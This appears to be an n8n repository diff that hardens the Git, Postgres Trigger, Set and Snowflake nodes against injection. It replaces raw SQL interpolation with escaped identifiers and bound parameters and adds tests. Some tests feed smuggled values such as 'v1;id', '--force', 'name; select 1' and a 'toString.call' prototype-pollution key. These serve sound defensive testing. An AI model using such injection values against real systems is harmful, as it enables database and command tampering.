expect(mockGit.addTag).toHaveBeenCalledWith('v1.2.3+build.1');
|
||||
});
|
||||
|
||||
it('should reject tag operation when name starts with a hyphen', async () => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('tag')
|
||||
.mockReturnValueOnce('/repo')
|
||||
.mockReturnValueOnce({})
|
||||
.mockReturnValueOnce('--force');
|
||||
|
||||
await expect(gitNode.execute.call(mockExecuteFunctions)).rejects.toThrow(
|
||||
'Reference cannot start with a hyphen',
|
||||
);
|
||||
|
||||
expect(mockGit.addTag).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('should reject tag operation when name contains unsafe characters', async () => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
.mockReturnValueOnce('tag')
|
||||
.mockReturnValueOnce('/repo')
|
||||
.mockReturnValueOnce({})
|
||||
.mockReturnValueOnce('v1;id');
|
||||
|
||||
await expect(gitNode.execute.call(mockExecuteFunctions)).rejects.toThrow(
|
||||
'Reference contains unsafe characters',
|
||||
);
|
||||
|
||||
expect(mockGit.addTag).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('Error handling', () => {
|
||||
it('should continue on fail when enabled', async () => {
|
||||
mockExecuteFunctions.getNodeParameter
|
||||
|
|
|
|||
|
|
@ -10,6 +10,31 @@ import { OperationalError, UserError } from 'n8n-workflow';
|
|||
import { configurePostgres } from './transport';
|
||||
import type { PgpDatabase, PostgresNodeCredentials } from './v2/helpers/interfaces';
|
||||
|
||||
const postgresIdentifierRegex = /^[a-zA-Z_][a-zA-Z0-9_]*$/;
|
||||
const triggerEvents = ['INSERT', 'UPDATE', 'DELETE'] as const;
|
||||
|
||||
type TriggerEvent = (typeof triggerEvents)[number];
|
||||
|
||||
export function validatePostgresIdentifier(
|
||||
name: unknown,
|
||||
parameterName: string,
|
||||
): asserts name is string {
|
||||
if (typeof name !== 'string' || !postgresIdentifierRegex.test(name)) {
|
||||
throw new UserError(
|
||||
`${parameterName} must start with a letter or underscore and contain only letters, digits, and underscores`,
|
||||
{ level: 'warning' },
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
function getTriggerEvent(firesOn: string): TriggerEvent {
|
||||
if (triggerEvents.includes(firesOn as TriggerEvent)) {
|
||||
return firesOn as TriggerEvent;
|
||||
}
|
||||
|
||||
throw new UserError('Event must be Insert, Update, or Delete', { level: 'warning' });
|
||||
}
|
||||
|
||||
export function prepareNames(id: string, mode: string, additionalFields: IDataObject) {
|
||||
let suffix = id.replace(/-/g, '_');
|
||||
|
||||
|
|
@ -17,19 +42,18 @@ export function prepareNames(id: string, mode: string, additionalFields: IDataOb
|
|||
suffix = `${suffix}_manual`;
|
||||
}
|
||||
|
||||
let functionName =
|
||||
(additionalFields.functionName as string) || `n8n_trigger_function_${suffix}()`;
|
||||
let functionName = (additionalFields.functionName as string) || `n8n_trigger_function_${suffix}`;
|
||||
|
||||
if (!(functionName.includes('(') && functionName.includes(')'))) {
|
||||
functionName = `${functionName}()`;
|
||||
if (typeof functionName === 'string' && functionName.endsWith('()')) {
|
||||
functionName = functionName.slice(0, -2);
|
||||
}
|
||||
|
||||
const triggerName = (additionalFields.triggerName as string) || `n8n_trigger_${suffix}`;
|
||||
const channelName = (additionalFields.channelName as string) || `n8n_channel_${suffix}`;
|
||||
|
||||
if (channelName.includes('-')) {
|
||||
throw new UserError('Channel name cannot contain hyphens (-)', { level: 'warning' });
|
||||
}
|
||||
validatePostgresIdentifier(functionName, 'Function name');
|
||||
validatePostgresIdentifier(triggerName, 'Trigger name');
|
||||
validatePostgresIdentifier(channelName, 'Channel name');
|
||||
|
||||
return { functionName, triggerName, channelName };
|
||||
}
|
||||
|
|
@ -47,43 +71,28 @@ export async function pgTriggerFunction(
|
|||
extractValue: true,
|
||||
}) as string;
|
||||
|
||||
const target = `${schema}."${tableName}"`;
|
||||
const firesOn = getTriggerEvent(this.getNodeParameter('firesOn', 0) as string);
|
||||
const rowRecord = firesOn === 'DELETE' ? 'OLD' : 'NEW';
|
||||
|
||||
const firesOn = this.getNodeParameter('firesOn', 0) as string;
|
||||
// Identifiers use :name (double-quote escaped); the channel is bound as a text
|
||||
// value to pg_notify, and the event/row-record are validated keywords.
|
||||
const functionBody = `$1:name() RETURNS trigger LANGUAGE 'plpgsql' COST 100 VOLATILE NOT LEAKPROOF AS $BODY$ begin perform pg_notify($2, row_to_json(${rowRecord})::text); return null; end; $BODY$`;
|
||||
const functionReplace = `CREATE OR REPLACE FUNCTION ${functionBody};`;
|
||||
const functionExists = `CREATE FUNCTION ${functionBody}`;
|
||||
|
||||
const functionReplace =
|
||||
"CREATE OR REPLACE FUNCTION $1:raw RETURNS trigger LANGUAGE 'plpgsql' COST 100 VOLATILE NOT LEAKPROOF AS $BODY$ begin perform pg_notify('$2:raw', row_to_json($3:raw)::text); return null; end; $BODY$;";
|
||||
const dropIfExist = 'DROP TRIGGER IF EXISTS $1:name ON $2:name.$3:name';
|
||||
|
||||
const dropIfExist = 'DROP TRIGGER IF EXISTS $1:raw ON $2:raw';
|
||||
|
||||
const functionExists =
|
||||
"CREATE FUNCTION $1:raw RETURNS trigger LANGUAGE 'plpgsql' COST 100 VOLATILE NOT LEAKPROOF AS $BODY$ begin perform pg_notify('$2:raw', row_to_json($3:raw)::text); return null; end; $BODY$";
|
||||
|
||||
const trigger =
|
||||
'CREATE TRIGGER $4:raw AFTER $3:raw ON $1:raw FOR EACH ROW EXECUTE FUNCTION $2:raw';
|
||||
|
||||
const whichData = firesOn === 'DELETE' ? 'old' : 'new';
|
||||
|
||||
if (channelName.includes('-')) {
|
||||
throw new UserError('Channel name cannot contain hyphens (-)', { level: 'warning' });
|
||||
}
|
||||
const trigger = `CREATE TRIGGER $3:name AFTER ${firesOn} ON $1:name.$2:name FOR EACH ROW EXECUTE FUNCTION $4:name()`;
|
||||
|
||||
const replaceIfExists = additionalFields.replaceIfExists ?? false;
|
||||
|
||||
try {
|
||||
if (replaceIfExists || !(additionalFields.triggerName ?? additionalFields.functionName)) {
|
||||
await db.any(functionReplace, [functionName, channelName, whichData]);
|
||||
await db.any(dropIfExist, [triggerName, target, whichData]);
|
||||
} else {
|
||||
await db.any(functionExists, [functionName, channelName, whichData]);
|
||||
}
|
||||
await db.any(trigger, [target, functionName, firesOn, triggerName]);
|
||||
} catch (error) {
|
||||
if ((error as Error).message.includes('near "-"')) {
|
||||
throw new UserError('Names cannot contain hyphens (-)', { level: 'warning' });
|
||||
}
|
||||
throw error;
|
||||
if (replaceIfExists || !(additionalFields.triggerName ?? additionalFields.functionName)) {
|
||||
await db.any(functionReplace, [functionName, channelName]);
|
||||
await db.any(dropIfExist, [triggerName, schema, tableName]);
|
||||
} else {
|
||||
await db.any(functionExists, [functionName, channelName]);
|
||||
}
|
||||
await db.any(trigger, [schema, tableName, triggerName, functionName]);
|
||||
}
|
||||
|
||||
export async function initDB(this: ITriggerFunctions | ILoadOptionsFunctions) {
|
||||
|
|
|
|||
|
|
@ -14,6 +14,7 @@ import {
|
|||
searchSchema,
|
||||
searchTables,
|
||||
prepareNames,
|
||||
validatePostgresIdentifier,
|
||||
} from './PostgresTrigger.functions';
|
||||
|
||||
export class PostgresTrigger implements INodeType {
|
||||
|
|
@ -252,6 +253,18 @@ export class PostgresTrigger implements INodeType {
|
|||
const triggerMode = this.getNodeParameter('triggerMode', 0) as string;
|
||||
const additionalFields = this.getNodeParameter('additionalFields', 0) as IDataObject;
|
||||
|
||||
// Resolve and validate identifiers before opening a connection, so an
|
||||
// invalid name fails fast without leaking a direct connection.
|
||||
const pgNames = prepareNames(this.getNode().id, this.getMode(), additionalFields);
|
||||
if (triggerMode === 'listenTrigger') {
|
||||
pgNames.channelName = this.getNodeParameter('channelName', '') as string;
|
||||
validatePostgresIdentifier(pgNames.channelName, 'Channel name');
|
||||
// Postgres folds unquoted LISTEN identifiers to lower case; since :name
|
||||
// quotes the channel, lower-case it so an existing channel notified as
|
||||
// e.g. `NOTIFY MyChannel` is still matched.
|
||||
pgNames.channelName = pgNames.channelName.toLowerCase();
|
||||
}
|
||||
|
||||
// initialize and connect to database
|
||||
const { db } = await initDB.call(this);
|
||||
const connection = await db.connect({ direct: true });
|
||||
|
|
@ -266,23 +279,27 @@ export class PostgresTrigger implements INodeType {
|
|||
this.emit([this.helpers.returnJsonArray([data])]);
|
||||
};
|
||||
|
||||
// create trigger, function and channel or use existing channel
|
||||
const pgNames = prepareNames(this.getNode().id, this.getMode(), additionalFields);
|
||||
if (triggerMode === 'createTrigger') {
|
||||
await pgTriggerFunction.call(
|
||||
this,
|
||||
db,
|
||||
additionalFields,
|
||||
pgNames.functionName,
|
||||
pgNames.triggerName,
|
||||
pgNames.channelName,
|
||||
);
|
||||
} else {
|
||||
pgNames.channelName = this.getNodeParameter('channelName', '') as string;
|
||||
}
|
||||
// Release the direct connection if setup fails, so an error while creating
|
||||
// the trigger or issuing LISTEN doesn't leak it.
|
||||
try {
|
||||
// create trigger and function, or use the existing channel
|
||||
if (triggerMode === 'createTrigger') {
|
||||
await pgTriggerFunction.call(
|
||||
this,
|
||||
db,
|
||||
additionalFields,
|
||||
pgNames.functionName,
|
||||
pgNames.triggerName,
|
||||
pgNames.channelName,
|
||||
);
|
||||
}
|
||||
|
||||
// listen to channel
|
||||
await connection.none(`LISTEN ${pgNames.channelName}`);
|
||||
// listen to channel
|
||||
await connection.none('LISTEN $1:name', [pgNames.channelName]);
|
||||
} catch (error) {
|
||||
await connection.done();
|
||||
throw error;
|
||||
}
|
||||
|
||||
const cleanUpDb = async () => {
|
||||
try {
|
||||
|
|
@ -298,10 +315,7 @@ export class PostgresTrigger implements INodeType {
|
|||
try {
|
||||
await connection.none('UNLISTEN $1:name', [pgNames.channelName]);
|
||||
if (triggerMode === 'createTrigger') {
|
||||
const functionName = pgNames.functionName.includes('(')
|
||||
? pgNames.functionName.split('(')[0]
|
||||
: pgNames.functionName;
|
||||
await connection.any('DROP FUNCTION IF EXISTS $1:name CASCADE', [functionName]);
|
||||
await connection.any('DROP FUNCTION IF EXISTS $1:name CASCADE', [pgNames.functionName]);
|
||||
|
||||
const schema = this.getNodeParameter('schema', undefined, {
|
||||
extractValue: true,
|
||||
|
|
|
|||
276
packages/nodes-base/nodes/Postgres/test/PostgresTrigger.test.ts
Normal file
276
packages/nodes-base/nodes/Postgres/test/PostgresTrigger.test.ts
Normal file
|
|
@ -0,0 +1,276 @@
|
|||
import type { IDataObject, ITriggerFunctions } from 'n8n-workflow';
|
||||
import pgPromise from 'pg-promise';
|
||||
|
||||
import {
|
||||
pgTriggerFunction,
|
||||
prepareNames,
|
||||
validatePostgresIdentifier,
|
||||
} from '../PostgresTrigger.functions';
|
||||
import { PostgresTrigger } from '../PostgresTrigger.node';
|
||||
import { configurePostgres } from '../transport';
|
||||
|
||||
vi.mock('../transport', () => ({ configurePostgres: vi.fn() }));
|
||||
|
||||
const invalidIdentifiers = [
|
||||
'name; select 1',
|
||||
'name"',
|
||||
"name'",
|
||||
'name()',
|
||||
'name.other',
|
||||
'a-b',
|
||||
'1abc',
|
||||
'has space',
|
||||
'',
|
||||
];
|
||||
|
||||
describe('validatePostgresIdentifier', () => {
|
||||
it.each(['n8n_channel', '_fn1', 'MyTrigger', 'a', 'x_1_y'])(
|
||||
'accepts the valid identifier %s',
|
||||
(name) => {
|
||||
expect(() => validatePostgresIdentifier(name, 'Channel name')).not.toThrow();
|
||||
},
|
||||
);
|
||||
|
||||
it.each(invalidIdentifiers)('rejects the invalid identifier %j', (name) => {
|
||||
expect(() => validatePostgresIdentifier(name, 'Channel name')).toThrow(/Channel name must/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('prepareNames', () => {
|
||||
it('returns safe defaults when no names are provided', () => {
|
||||
const names = prepareNames('abc-123', 'trigger', {});
|
||||
expect(names.functionName).toBe('n8n_trigger_function_abc_123');
|
||||
expect(names.triggerName).toBe('n8n_trigger_abc_123');
|
||||
expect(names.channelName).toBe('n8n_channel_abc_123');
|
||||
});
|
||||
|
||||
it('strips a trailing () from a provided function name', () => {
|
||||
const names = prepareNames('id1', 'trigger', { functionName: 'my_fn()' });
|
||||
expect(names.functionName).toBe('my_fn');
|
||||
});
|
||||
|
||||
it.each([
|
||||
['channelName', { channelName: 'name; select 1' }],
|
||||
['functionName', { functionName: 'name(); select 1' }],
|
||||
['triggerName', { triggerName: 'name on t' }],
|
||||
])('rejects an invalid %s', (_field, additionalFields) => {
|
||||
expect(() => prepareNames('id1', 'trigger', additionalFields as IDataObject)).toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe('pgTriggerFunction', () => {
|
||||
const createContext = (params: IDataObject) => {
|
||||
const getNodeParameter = vi.fn((name: string, _i?: unknown, fallback?: unknown) =>
|
||||
name in params ? params[name] : fallback,
|
||||
);
|
||||
return { getNodeParameter } as unknown as ITriggerFunctions;
|
||||
};
|
||||
|
||||
const invoke = (firesOn: string, additionalFields: IDataObject = { replaceIfExists: true }) => {
|
||||
const db = { any: vi.fn().mockResolvedValue([]) };
|
||||
const ctx = createContext({ schema: 'public', tableName: 'users', firesOn });
|
||||
const run = async () =>
|
||||
await pgTriggerFunction.call(
|
||||
ctx,
|
||||
db as never,
|
||||
additionalFields,
|
||||
'my_fn',
|
||||
'my_trigger',
|
||||
'my_channel',
|
||||
);
|
||||
const sqls = () => db.any.mock.calls.map(([sql]) => sql as string);
|
||||
return { db, run, sqls };
|
||||
};
|
||||
|
||||
it('never emits a :raw modifier in any executed statement', async () => {
|
||||
const { db, run } = invoke('INSERT');
|
||||
await run();
|
||||
|
||||
expect(db.any).toHaveBeenCalled();
|
||||
for (const [sql] of db.any.mock.calls) {
|
||||
expect(sql).not.toContain(':raw');
|
||||
}
|
||||
});
|
||||
|
||||
it('produces templates pg-promise can format without error', async () => {
|
||||
const { db, run } = invoke('INSERT');
|
||||
await run();
|
||||
|
||||
const pgp = pgPromise();
|
||||
for (const [sql, params] of db.any.mock.calls) {
|
||||
expect(() => pgp.as.format(sql as string, params)).not.toThrow();
|
||||
}
|
||||
});
|
||||
|
||||
it('passes schema and table as separate identifier parameters', async () => {
|
||||
const { db, run } = invoke('INSERT');
|
||||
await run();
|
||||
|
||||
const dropCall = db.any.mock.calls.find(([sql]) => (sql as string).includes('DROP TRIGGER'));
|
||||
expect(dropCall?.[1]).toEqual(['my_trigger', 'public', 'users']);
|
||||
});
|
||||
|
||||
it('uses the OLD row record for DELETE triggers', async () => {
|
||||
const { run, sqls } = invoke('DELETE');
|
||||
await run();
|
||||
|
||||
const notifySql = sqls().find((s) => s.includes('pg_notify'));
|
||||
expect(notifySql).toContain('row_to_json(OLD)');
|
||||
});
|
||||
|
||||
it('embeds the validated event keyword in the trigger', async () => {
|
||||
const { run, sqls } = invoke('UPDATE');
|
||||
await run();
|
||||
|
||||
const triggerSql = sqls().find((s) => s.includes('CREATE TRIGGER'));
|
||||
expect(triggerSql).toContain('AFTER UPDATE');
|
||||
});
|
||||
|
||||
it('creates without OR REPLACE and skips the drop when a name is provided', async () => {
|
||||
const { run, sqls } = invoke('INSERT', { triggerName: 'my_trigger' });
|
||||
await run();
|
||||
|
||||
expect(sqls().some((s) => s.startsWith('CREATE FUNCTION'))).toBe(true);
|
||||
expect(sqls().some((s) => s.startsWith('CREATE OR REPLACE FUNCTION'))).toBe(false);
|
||||
expect(sqls().some((s) => s.includes('DROP TRIGGER'))).toBe(false);
|
||||
});
|
||||
|
||||
it('rejects an invalid firesOn event', async () => {
|
||||
const { run } = invoke('DROP');
|
||||
await expect(run()).rejects.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe('PostgresTrigger.trigger (Table Row Change Events mode)', () => {
|
||||
const setup = (additionalFields: IDataObject = {}, firesOn = 'INSERT') => {
|
||||
const connection = {
|
||||
none: vi.fn().mockResolvedValue(undefined),
|
||||
any: vi.fn().mockResolvedValue([]),
|
||||
query: vi.fn().mockResolvedValue([]),
|
||||
done: vi.fn().mockResolvedValue(undefined),
|
||||
client: { on: vi.fn(), removeListener: vi.fn() },
|
||||
};
|
||||
const db = {
|
||||
connect: vi.fn().mockResolvedValue(connection),
|
||||
any: vi.fn().mockResolvedValue([]),
|
||||
};
|
||||
vi.mocked(configurePostgres).mockResolvedValue({ db, pgp: {} } as never);
|
||||
|
||||
const params: IDataObject = {
|
||||
triggerMode: 'createTrigger',
|
||||
additionalFields,
|
||||
options: {},
|
||||
schema: 'public',
|
||||
tableName: 'users',
|
||||
firesOn,
|
||||
};
|
||||
const fns = {
|
||||
getNodeParameter: vi.fn((name: string, _i?: unknown, fallback?: unknown) =>
|
||||
name in params ? params[name] : fallback,
|
||||
),
|
||||
getCredentials: vi.fn().mockResolvedValue({}),
|
||||
getNode: vi.fn().mockReturnValue({ id: 'node-1' }),
|
||||
getMode: vi.fn().mockReturnValue('trigger'),
|
||||
emit: vi.fn(),
|
||||
helpers: { returnJsonArray: vi.fn((d: unknown) => d) },
|
||||
} as unknown as ITriggerFunctions;
|
||||
|
||||
return { connection, db, fns };
|
||||
};
|
||||
|
||||
it('creates the trigger objects without any :raw modifier', async () => {
|
||||
const { db, fns } = setup();
|
||||
await new PostgresTrigger().trigger.call(fns);
|
||||
|
||||
expect(db.any).toHaveBeenCalled();
|
||||
for (const [sql] of db.any.mock.calls) {
|
||||
expect(sql).not.toContain(':raw');
|
||||
}
|
||||
});
|
||||
|
||||
it('drops the created objects with matching identifiers on close', async () => {
|
||||
const { connection, fns } = setup();
|
||||
const response = await new PostgresTrigger().trigger.call(fns);
|
||||
await response.closeFunction?.();
|
||||
|
||||
expect(connection.any).toHaveBeenCalledWith('DROP FUNCTION IF EXISTS $1:name CASCADE', [
|
||||
'n8n_trigger_function_node_1',
|
||||
]);
|
||||
expect(connection.any).toHaveBeenCalledWith(
|
||||
'DROP TRIGGER IF EXISTS $1:name ON $2:name.$3:name CASCADE',
|
||||
['n8n_trigger_node_1', 'public', 'users'],
|
||||
);
|
||||
});
|
||||
|
||||
it('releases the connection when setup fails', async () => {
|
||||
const { connection, fns } = setup({}, 'INVALID');
|
||||
await expect(new PostgresTrigger().trigger.call(fns)).rejects.toThrow();
|
||||
expect(connection.done).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('PostgresTrigger.trigger (Advanced mode)', () => {
|
||||
const setup = (channelName: string) => {
|
||||
const connection = {
|
||||
none: vi.fn().mockResolvedValue(undefined),
|
||||
client: { on: vi.fn(), removeListener: vi.fn() },
|
||||
};
|
||||
const db = { connect: vi.fn().mockResolvedValue(connection) };
|
||||
vi.mocked(configurePostgres).mockResolvedValue({ db, pgp: {} } as never);
|
||||
|
||||
const params: IDataObject = {
|
||||
triggerMode: 'listenTrigger',
|
||||
additionalFields: {},
|
||||
options: {},
|
||||
channelName,
|
||||
};
|
||||
const fns = {
|
||||
getNodeParameter: vi.fn((name: string, _i?: unknown, fallback?: unknown) =>
|
||||
name in params ? params[name] : fallback,
|
||||
),
|
||||
getCredentials: vi.fn().mockResolvedValue({}),
|
||||
getNode: vi.fn().mockReturnValue({ id: 'node-1' }),
|
||||
getMode: vi.fn().mockReturnValue('trigger'),
|
||||
emit: vi.fn(),
|
||||
helpers: { returnJsonArray: vi.fn((d: unknown) => d) },
|
||||
} as unknown as ITriggerFunctions;
|
||||
|
||||
return { connection, db, fns };
|
||||
};
|
||||
|
||||
it('listens via a parameterized identifier', async () => {
|
||||
const { connection, fns } = setup('my_channel');
|
||||
await new PostgresTrigger().trigger.call(fns);
|
||||
expect(connection.none).toHaveBeenCalledWith('LISTEN $1:name', ['my_channel']);
|
||||
});
|
||||
|
||||
it('lower-cases the channel to match unquoted notifications', async () => {
|
||||
const { connection, fns } = setup('MyChannel');
|
||||
await new PostgresTrigger().trigger.call(fns);
|
||||
expect(connection.none).toHaveBeenCalledWith('LISTEN $1:name', ['mychannel']);
|
||||
});
|
||||
|
||||
it('rejects an invalid channel before opening a connection', async () => {
|
||||
const { db, connection, fns } = setup('bad; select 1');
|
||||
await expect(new PostgresTrigger().trigger.call(fns)).rejects.toThrow(/Channel name must/);
|
||||
expect(db.connect).not.toHaveBeenCalled();
|
||||
expect(connection.none).not.toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
describe('pg-promise identifier and value formatting', () => {
|
||||
const pgp = pgPromise();
|
||||
|
||||
it('wraps a :name identifier in a single double-quoted token', () => {
|
||||
const formatted = pgp.as.format('LISTEN $1:name', ['a"b']);
|
||||
expect(formatted).toBe('LISTEN "a""b"');
|
||||
});
|
||||
|
||||
it('formats a bound value inside a dollar-quoted body as an escaped literal', () => {
|
||||
const formatted = pgp.as.format("AS $BODY$ begin perform pg_notify($1, 'x'); end; $BODY$", [
|
||||
"a'b",
|
||||
]);
|
||||
expect(formatted).toContain("pg_notify('a''b',");
|
||||
expect(formatted).toContain('$BODY$');
|
||||
});
|
||||
});
|
||||
|
|
@ -52,6 +52,29 @@ describe('prepareReturnItem', () => {
|
|||
(mockContext.getWorkflowSettings as Mock).mockReturnValue({});
|
||||
});
|
||||
|
||||
describe('when an assignment name is an inherited object member', () => {
|
||||
// Guard the shared prototype so a regression here cannot cascade to other tests.
|
||||
const hadOwnCall = Object.prototype.hasOwnProperty.call(Object.prototype.toString, 'call');
|
||||
afterEach(() => {
|
||||
if (!hadOwnCall) {
|
||||
delete (Object.prototype.toString as unknown as { call?: unknown }).call;
|
||||
}
|
||||
});
|
||||
|
||||
it('keeps built-in object prototypes intact', () => {
|
||||
const value: AssignmentCollectionValue = {
|
||||
assignments: [{ id: '1', name: 'toString.call', value: 'x', type: 'string' }],
|
||||
};
|
||||
|
||||
const result = prepareReturnItem(mockContext, value, 0, baseItem, mockNode, baseOptions);
|
||||
|
||||
// Prototype untouched; the value lands as an own property on the item's json.
|
||||
expect(Object.prototype.hasOwnProperty.call(Object.prototype.toString, 'call')).toBe(false);
|
||||
expect(Object.prototype.toString.call([])).toBe('[object Array]');
|
||||
expect((result.json as { toString?: { call?: unknown } }).toString?.call).toBe('x');
|
||||
});
|
||||
});
|
||||
|
||||
describe('JSON assignments', () => {
|
||||
it('should handle string assignments', () => {
|
||||
const value: AssignmentCollectionValue = {
|
||||
|
|
|
|||
|
|
@ -122,11 +122,7 @@ export function escapeSnowflakeObjectIdentifier(identifier: string): string {
|
|||
return parts.map(escapeSnowflakeIdentifier).join('.');
|
||||
}
|
||||
|
||||
export async function execute(
|
||||
conn: snowflake.Connection,
|
||||
sqlText: string,
|
||||
binds: snowflake.InsertBinds,
|
||||
) {
|
||||
export async function execute(conn: snowflake.Connection, sqlText: string, binds: snowflake.Binds) {
|
||||
return await new Promise<any[] | undefined>((resolve, reject) => {
|
||||
conn.execute({
|
||||
sqlText,
|
||||
|
|
|
|||
|
|
@ -119,7 +119,33 @@ export class Snowflake implements INodeType {
|
|||
default: '',
|
||||
placeholder: 'SELECT id, name FROM product WHERE id < 40',
|
||||
required: true,
|
||||
description: 'The SQL query to execute',
|
||||
description:
|
||||
"The SQL query to execute. Use ? (bound in order) or :1, :2, :3 to refer to the 'Query Parameters' set in the options below.",
|
||||
hint: 'Consider using query parameters to prevent SQL injection attacks. Add them in the options below',
|
||||
},
|
||||
{
|
||||
displayName: 'Options',
|
||||
name: 'options',
|
||||
type: 'collection',
|
||||
displayOptions: {
|
||||
show: {
|
||||
operation: ['executeQuery'],
|
||||
},
|
||||
},
|
||||
default: {},
|
||||
placeholder: 'Add option',
|
||||
options: [
|
||||
{
|
||||
displayName: 'Query Parameters',
|
||||
name: 'queryReplacement',
|
||||
type: 'string',
|
||||
default: '',
|
||||
placeholder: 'e.g. value1,value2,value3',
|
||||
description:
|
||||
'Comma-separated list of the values you want to use as query parameters. You can drag the values from the input panel on the left.',
|
||||
hint: 'Comma-separated list of values: reference them in your query as ? (in order) or :1, :2, :3…',
|
||||
},
|
||||
],
|
||||
},
|
||||
|
||||
// ----------------------------------
|
||||
|
|
@ -262,7 +288,25 @@ export class Snowflake implements INodeType {
|
|||
query = query.replace(resolvable, this.evaluateExpression(resolvable, i) as string);
|
||||
}
|
||||
|
||||
const responseData = await execute(connection, query, []);
|
||||
const options = this.getNodeParameter('options', i, {}) as IDataObject;
|
||||
const rawReplacement = options.queryReplacement;
|
||||
let binds: snowflake.Bind[] = [];
|
||||
|
||||
if (rawReplacement !== undefined && rawReplacement !== '') {
|
||||
if (typeof rawReplacement === 'string') {
|
||||
binds = rawReplacement.split(',').map((entry) => entry.trim());
|
||||
} else if (Array.isArray(rawReplacement)) {
|
||||
binds = rawReplacement as snowflake.Bind[];
|
||||
} else {
|
||||
throw new NodeOperationError(
|
||||
this.getNode(),
|
||||
'Query Parameters must be a string of comma-separated values, or an array of values',
|
||||
{ itemIndex: i },
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
const responseData = await execute(connection, query, binds);
|
||||
const executionData = this.helpers.constructExecutionMetaData(
|
||||
this.helpers.returnJsonArray(responseData as IDataObject[]),
|
||||
{ itemData: { item: i } },
|
||||
|
|
@ -284,7 +328,7 @@ export class Snowflake implements INodeType {
|
|||
const query = `INSERT INTO ${quotedTable} (${quotedColumns.join(',')}) VALUES (${columns.map(() => '?').join(',')})`;
|
||||
const data = this.helpers.copyInputItems(items, columns);
|
||||
const binds = data.map((element) => [...Object.values(element)]);
|
||||
await execute(connection, query, binds as unknown as snowflake.InsertBinds);
|
||||
await execute(connection, query, binds as snowflake.Binds);
|
||||
data.forEach((d, i) => {
|
||||
const executionData = this.helpers.constructExecutionMetaData(
|
||||
this.helpers.returnJsonArray(d),
|
||||
|
|
@ -323,7 +367,7 @@ export class Snowflake implements INodeType {
|
|||
return rowBinds;
|
||||
});
|
||||
for (let i = 0; i < binds.length; i++) {
|
||||
await execute(connection, query, binds[i] as unknown as snowflake.InsertBinds);
|
||||
await execute(connection, query, binds[i] as snowflake.Binds);
|
||||
}
|
||||
data.forEach((d, i) => {
|
||||
const executionData = this.helpers.constructExecutionMetaData(
|
||||
|
|
|
|||
|
|
@ -0,0 +1,157 @@
|
|||
import { NodeTestHarness } from '@nodes-testing/node-test-harness';
|
||||
import { NodeConnectionTypes, type WorkflowTestData } from 'n8n-workflow';
|
||||
import snowflake from 'snowflake-sdk';
|
||||
|
||||
const mockExecute = vi.fn();
|
||||
const mockConnect = vi.fn();
|
||||
const mockDestroy = vi.fn();
|
||||
const mockConnection = { connect: mockConnect, execute: mockExecute, destroy: mockDestroy };
|
||||
|
||||
const snowflakeCredentials = {
|
||||
authentication: 'password',
|
||||
account: 'test-account',
|
||||
database: 'TEST_DB',
|
||||
schema: 'PUBLIC',
|
||||
warehouse: 'WH',
|
||||
role: 'SYSADMIN',
|
||||
clientSessionKeepAlive: false,
|
||||
username: 'user',
|
||||
password: 'pass',
|
||||
};
|
||||
|
||||
// The harness loads the node from dist via require(), so vi.mock cannot intercept its
|
||||
// `snowflake-sdk` import. The module is externalized, so the test and the node share the same
|
||||
// instance — spy on it instead. Re-applied per test since restoreMocks resets spies.
|
||||
beforeEach(() => {
|
||||
vi.spyOn(snowflake, 'configure').mockImplementation(() => ({}) as never);
|
||||
vi.spyOn(snowflake, 'createConnection').mockReturnValue(mockConnection as never);
|
||||
mockConnect.mockImplementation((callback: (err: null) => void) => callback(null));
|
||||
mockDestroy.mockImplementation((callback: (err: null) => void) => callback(null));
|
||||
mockExecute.mockImplementation(
|
||||
({ complete }: { complete: (err: null, stmt: undefined, rows: unknown[]) => void }) =>
|
||||
complete(null, undefined, []),
|
||||
);
|
||||
});
|
||||
|
||||
afterEach(() => vi.clearAllMocks());
|
||||
|
||||
// A manual trigger (one empty item) feeding a single executeQuery Snowflake node.
|
||||
function executeQueryWorkflow(
|
||||
query: string,
|
||||
queryReplacement: string,
|
||||
): WorkflowTestData['input']['workflowData'] {
|
||||
return {
|
||||
nodes: [
|
||||
{
|
||||
parameters: {},
|
||||
id: 'a1b2c3d4-e5f6-7890-abcd-ef1234567890',
|
||||
name: 'When clicking "Execute Workflow"',
|
||||
type: 'n8n-nodes-base.manualTrigger',
|
||||
typeVersion: 1,
|
||||
position: [460, 460],
|
||||
},
|
||||
{
|
||||
parameters: { operation: 'executeQuery', query, options: { queryReplacement } },
|
||||
id: 'c3d4e5f6-a7b8-9012-cdef-123456789012',
|
||||
name: 'Snowflake',
|
||||
type: 'n8n-nodes-base.snowflake',
|
||||
typeVersion: 1,
|
||||
position: [680, 460],
|
||||
credentials: { snowflake: { id: '1', name: 'Snowflake account' } },
|
||||
},
|
||||
],
|
||||
connections: {
|
||||
'When clicking "Execute Workflow"': {
|
||||
main: [[{ node: 'Snowflake', type: NodeConnectionTypes.Main, index: 0 }]],
|
||||
},
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
describe('Test Snowflake, executeQuery - query parameters are bound', () => {
|
||||
new NodeTestHarness().setupTests({
|
||||
workflowFiles: ['executeQuery.workflow.json'],
|
||||
credentials: { snowflake: snowflakeCredentials },
|
||||
customAssertions() {
|
||||
// The value is sent as a ? bind; it never touches the SQL string.
|
||||
expect(mockExecute).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
sqlText: 'SELECT * FROM users WHERE name = ?',
|
||||
binds: ["O'Brien"],
|
||||
}),
|
||||
);
|
||||
// The bound value must not appear in any executed statement.
|
||||
for (const [{ sqlText }] of mockExecute.mock.calls as Array<[{ sqlText: string }]>) {
|
||||
expect(sqlText).not.toContain("O'Brien");
|
||||
}
|
||||
},
|
||||
});
|
||||
});
|
||||
|
||||
describe('Test Snowflake, executeQuery - comma-separated query parameters', () => {
|
||||
new NodeTestHarness().setupTest(
|
||||
{
|
||||
description: 'splits on commas, trims, and binds in placeholder order',
|
||||
input: {
|
||||
